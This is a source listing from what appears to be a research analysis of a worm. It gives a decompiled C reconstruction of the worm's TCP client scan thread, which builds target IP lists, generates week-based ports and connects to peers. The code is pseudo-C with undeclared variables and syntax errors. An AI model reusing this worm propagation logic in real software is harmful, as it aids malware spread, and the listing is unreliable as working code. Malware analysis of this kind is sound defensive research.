void tcp_client_scan(int a1) {
  unsigned int v1, v43, v46;
  int v6, v26;
  int rand, epoch, ipaddr, index, local_peer, result;
  int tmp_limit;
  unsigned int timeout, i;
  SOCKET sock1, sock2, sock3;
  int iplist[100], socklist[476];
  int tickcountlist[], tidlist[];
  ushort portlist[8];
  struct sockaddr name;


  /* is it a local scan thread or remote scan thread? */
  local_peer = *(_DWORD *)(a1 + 12);
  v1 =  index = tickcountlist = 0;
  memset(socklist, 0, sizeof(socklist));
 
  if ( GetOSVersionInfo() > 10 )
    local_peer != 0 ? v43 = 20 : v43 = 40;
  else
    v43 = 2;

  do {
LOOP_UNTIL_CONNECTED:
     local_peer != 0 ? tmp_limit = 5000 : tmp_limit = 1000;
    /* returns value at 9BBD24 which is set by the InternetTimeThread */
     v26 = Rtl_CS(); 
   
     if ( v26 == -1 )
         timeout = 4 * tmp_limit;
     else
         timeout = ((unsigned int)((unsigned __int64)(2748779070 * tmp_limit * v26)
                 >> 32) >> 31) + ((signed int)((unsigned __int64)(2748779070 *
                 tmp_limit * v26) >> 32) >> 5) + 1;

     if ( !WaitForSingleObject(*(HANDLE*) (a1+8), timeout) ) {
     for (j=0; j < v1; j++) {
         if (tidlist[3*j] ) call_WaitForSingleObject_and_CloseHandle(tidlist[3*j]);
         else if ( socklist[3*j] ) {
                  set_socket_blockmode(socklist[3*j], 0);
                  closesocket(socklist[3*j]);
              }
         }
         ExitThread(0);
     }
  } while ( !call_GetInternetConnectedState() );
 
  if ( !index )
      build_scan_target_IP_list(6, timeout, (int)iplist, 100, (int)&index, local_peer);
 
  if ( index==0  || v1 >= v43 ) goto LABEL_39;
  v46 = v1;
  bzero(&tickcountlist + 3 * v1, 12);
  tickcountlist[3 * v1] = GetTickCount();
  sock2 = socket(2, 1, 6);
  socklist[3 * v1++] = sock2;

  if ( sock2 && sock2 != -1 ) {
    ipaddr = iplist[--index];
    set_socket_blockmode(sock2, 1);
    epoch = get_epoch_week();
    portgen(ipaddr, portlist, epoch);
    rand = critical_generate_random();
   
    /* randomly pick between fixed and variable port to contact */
    build_sockaddr(0, ipaddr, (int)&name, portlist[2 * (~(2 * rand) & 2)]);

    /* connect succeeds */
    if (! connect(sock2, &name, 16) ) {           
      set_socket_blockmode(sock2, 0);
      tidlist[3*v1]  = Global_alloc_Then_Create_Thread(tcp_client_connected, sock2,
                       local_peer);
      if (tidlist[3*v1])  goto LABEL_39;
      sock1 = socklist[3*v1];
    }
    else {
       /* resource temporarily not available */
       if ( WSAGetLastError() == 10035 ) {
LABEL_39:
           v6 = 0;
          while ( 1 ) {
             v46 = v6;     
             if ( v6 >= v1 ) {
                for ( i = 0; ; ++i ) {
                   v46 = i;
                while ( 1 ) {
                   if ( i >= v1 ) goto LOOP_UNTIL_CONNECTED;
                   if ( tidlist[3*i] || socklist[3*i] )  break;
                   --v1;
                   memcpy(&tickcountlist + 3*i, &tickcountlist + 3*v1, 12);
                   bzero(&tickcountlist + 3*v1, 12);
                }
             }
          }
          if (tidlist[3 * v6]) {
             if (WaitForSingleObject(*(HANDLE *)(tidlist[3*v6] + 4), 0) == 258)
                 goto LABEL_6;
                call_WaitForSingleObject_and_CloseHandle(&tidlist + 3 * v6);
                socklist[3 * v6] = 0;
             }
             else {
                sock3 = socklist[3 * v6];
                result = select_and_WSAFDISSET(48, sock3, 0);
                if (result & 0x21 ) {
                   set_socket_blockmode(sock3, 0);
                   closesocket(sock3);
                   socklist[3*v6] = 0;
                }
                else {
                   if ( !(result & 0x10) ) {
                local_peer != 0 ? tmp_limit = 4000 : tmp_limit = 5000;
                if ( GetTickCount() - tickcountlist[3 * v6] <= tmp_limit )
                     goto LABEL_6;
                set_socket_blockmode(sock3, 0);
                closesocket(sock3);
                socklist[3*v6] = 0;
                goto LABEL_6;
                   }
                   set_socket_blockmode(sock3, 0);
                   thread_id = Global_alloc_Then_Create_Thread(tcp_client_connected,
                              sock3,
local_peer);
                   tidlist[3 * v6] = thread_id;
                   if ( !thread_id ) {
                        sock1 = socklist[3*v6]
                        socklist[3*v6] = 0;
                   }
LABEL_6:
                }
             }
             v6 = v46 + 1;
          }
          set_socket_blockmode(sock2, 0);
          sock1 = sock2;
    }
    closesocket(sock1);
  }
  v1--;
  goto LABEL_39;
}


SOURCE LISTING 7: TCP client scan thread



 


 







Acknowledements

  This material is based upon work supported through the U.S. Army Research Office under the Cyber-TA Research Grant No. W911NF-06-1- 0316 and by the National Science Foundation, Grant No. CNS-07-16 612. The views expressed in this document are those of the authors and do not necessarily represent the official position of the sponsors.